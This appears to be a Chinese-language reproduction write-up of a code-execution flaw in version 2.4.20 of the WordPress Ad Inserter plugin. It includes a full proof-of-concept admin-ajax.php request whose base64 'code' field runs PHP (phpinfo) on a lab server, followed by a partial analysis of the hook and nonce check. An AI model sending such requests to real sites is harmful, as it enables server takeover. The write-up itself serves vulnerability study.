0x01 漏洞背景
漏洞编号:
漏洞成因:
0x02 漏洞复现
下载该插件的2.4.20版本并安装该插件。登陆点击进入该插件页面,输入要执行的php代码,点击preview并抓包。
修改数据包中的php参数为1,后台直接执行phpinfo函数,因此我们可以直接执行php代码。(实际上也不用修改,只需要将右边的php按钮变为1即可
poc
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.52.3:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.3:8088/wordpress/wp-admin/options-general.php?page=ad-inserter.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
Connection: close
Cookie: wordpress_a9f2205cc9f529d5d6f94cb9c55babef=admin%7C1607100728%7Cx3PimyHstYBeAKq8ITNh7KPYdGhQGZ5bXqcM529v0qu%7Cd1d1dd20b874e69c55a1445c8796b5626a6b27c6f58bed1b9cd85a25717f2015; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_a9f2205cc9f529d5d6f94cb9c55babef=admin%7C1607100728%7Cx3PimyHstYBeAKq8ITNh7KPYdGhQGZ5bXqcM529v0qu%7C805e8551ef6c337cb88c047fe6a2b56e54a9e9a1bedd97cb7637aa01af0950cc; wp-settings-time-1=1606994061
Upgrade-Insecure-Requests: 1
action=ai_ajax_backend&preview=1&ai_check=9d4a62730a&name=QmxvY2sgMQ%3D%3D&code=PD9waHAgcGhwaW5mbygpOz8%2B&alignment=MA%3D%3D&horizontal=dW5kZWZpbmVk&vertical=dW5kZWZpbmVk&horizontal_margin=dW5kZWZpbmVk&vertical_margin=dW5kZWZpbmVk&animation=dW5kZWZpbmVk&alignment_css=bWFyZ2luOiA4cHggMDsgY2xlYXI6IGJvdGg7&custom_css=&php=0&label=0&close=undefined&iframe=
0x03 漏洞分析
文章参考漏洞作者的分析,但仍然还没有理解透(有几个疑点),目前只能尽力分析,作者讲到随机数nonce字段不安全的问题,但从官方描述中看是由于可以写任何代码并执行,因此可以写一些危险函数如命令执行函数(我觉得还是有点鸡肋)
从poc中可以看出该漏洞绑定的是ai_ajax_backend
绑定的hook的函数是ai_ajax_backend
通过check_admin_referer对ai_check进行检查。(作者提到该函数的随机数可以从前端获取,并被利用,在这个地方我没有复现成功,有点懵)
后面就是当preview为1时,则进入预览界面,这里将会解析我们的php代码。
0x04 参考
https://www.wordfence.com/blog/2019/07/critical-vulnerability-patched-in-ad-inserter-plugin/